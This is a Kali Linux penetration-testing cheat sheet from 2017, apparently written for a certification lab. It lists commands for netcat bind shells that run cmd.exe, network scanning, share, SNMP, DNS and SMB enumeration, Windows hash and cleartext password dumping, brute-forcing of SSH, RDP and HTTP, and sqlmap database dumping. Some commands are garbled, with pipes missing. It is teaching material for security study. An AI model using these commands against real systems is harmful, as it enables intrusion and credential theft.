

Kali Linux Cheat Sheet

by Alex Wong, yukialex@gmail.com, 26 Jan 2017

Basic Command

COMMAND	DESCRIPTION
<code>grep "substring" target-file</code>	Extract the lines contains "substring"
<code>grep -o "regex" target-file</code>	Same as above with regular expression as input
<code>cut -d "/" -f 3</code>	Split the string by "/" and output the third column
<code>sort -u</code>	Remove duplicate
<code>host "hostname"</code>	Return the IP address of the host name
<code>wc -l access.log</code>	Count the number of line in "access.log"
<code>uniq -c</code>	Add the number of occurrence in front
<code>cat access.log cut -d " " -f 1 sort uniq -c sort -urn</code>	count the number of occurrence and sort it reversely

Netcat / ncat

COMMAND	DESCRIPTION
<code>nc -nv target -p port</code>	Connect to specific port of the target machine
<code>nc -nlvp port -e filename</code>	Listen in specific port and execute the program after connect
<code>ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl</code>	Listen in port 4444, allow only 10.0.0.4 to connect, execute cmd.exe after connect, encrypt with SSL
<code>ncat -v 10.0.0.22 4444 --ssl</code>	Connect to target at port 4444, encrypt with SSL

NMAP

COMMAND	DESCRIPTION
<code>nmap -v -sS -A -T4 target</code>	Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
<code>nmap -v -sS -p-A -T4 target</code>	As above but scans all TCP ports (takes a lot longer)
<code>nmap -v -sU -sS -p- -A -T4 target</code>	As above but scans all TCP ports and UDP scan (takes even longer)
<code>nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X</code>	Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover
<code>ls /usr/share/nmap/scripts/* grep ftp</code>	Search nmap scripts for keywords

Mount File Shares

COMMAND	DESCRIPTION
<code>mount 192.168.1.1:/vol/share /mnt/nfs</code>	Mount NFS share to /mnt/nfs
<code>mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs</code>	Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
<code>net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no</code>	Mount a Windows share on Windows from the command line

SNMP Enumeration

COMMAND	DESCRIPTION
<code>snmpcheck -t 192.168.1.X -c public</code>	SNMP enumeration
<code>snmpwalk -c public -v1 192.168.1.X 1 grep hrSWRunName cut -d* * -f</code>	SNMP enumeration
<code>snmpenum -t 192.168.1.X</code>	SNMP enumeration
<code>onesixtyone -c names -i hosts</code>	SNMP enumeration

DNS Enumeration & Transfer

COMMAND	DESCRIPTION
<code>dnsrecon -d megacorpone.com -t axfr</code>	Enum and attemp to transfer target domain
<code>dnsenum zonetransfer.me</code>	Enum and attemp to transfer target domain

SMB Enumeration

COMMAND	DESCRIPTION
<code>nbtscan 192.168.1.0/24</code>	Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
<code>enum4linux -a target-ip</code>	Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

HTTP Enumeration

COMMAND	DESCRIPTION
<code>nikto -h 192.168.1.1</code>	Perform a nikto scan against target
<code>dirbuster</code>	Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

COMMAND	DESCRIPTION
tcpdump tcp port 80 -w output.pcap i eth0	tcpdump for port 80 on interface eth0, outputs to output.pcap
Wireshark	GUI tools that perform packet inspection

Password Generation

COMMAND	DESCRIPTION
/usr/share/wordlists/	Kali password list
crunch 6 6 0123456789ABCDEF -o crunch1.txt	Generate password list with only 0-9, A-F character, length = 6, output to crunch1.txt
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha	Generate password list with specific character set, length = 4
cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt	Generate password list from megacorpone website and output to megacorp-cewl.txt
nano /etc/john/john.conf john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt	Mutate password according to the rules

Password Cracking

COMMAND	DESCRIPTION
fgdump.exe	Dump windows password hash
wce -w	Dump the windows clear text password
medusa -h 10.11.1.219 -u admin -P password-file.txt -M http -m DIR:/admin -T 10	HTTP Bruteforce
nrcrack -vv --user offsec -P password-file.txt rdp://10.11.1.35	RDP Bruteforce
hydra -P password-file.txt -v 10.11.1.219 snmp	SNMP Bruteforce
hydra -l root -P password-file.txt 10.11.1.219 ssh	SSH Bruteforce

Port Forward

COMMAND	DESCRIPTION
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>	Local port forward. 127.0.0.1:<port> is now redirected to the remote host
ssh <gateway> -R <remote port to bind>:<local host>:<local port>	Remote port forward. Access 127.0.0.1:<port> now to connect to the remote host at remote binded port
ssh -D <local proxy port> -p <remote port> <target>	Dynamic port forward. We created a SOCK proxy at local machine now.

SQL Map

COMMAND	DESCRIPTION
sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3	Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"	Targeted sqlmap scan
sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump	Scan url for union + error based injection with mysql backend and use a random user agent + database dump
sqlmap -o -u "http://meh.com/form/" --forms	sqlmap check form for injection
sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump	sqlmap dump and crack hashes for table users on database-name.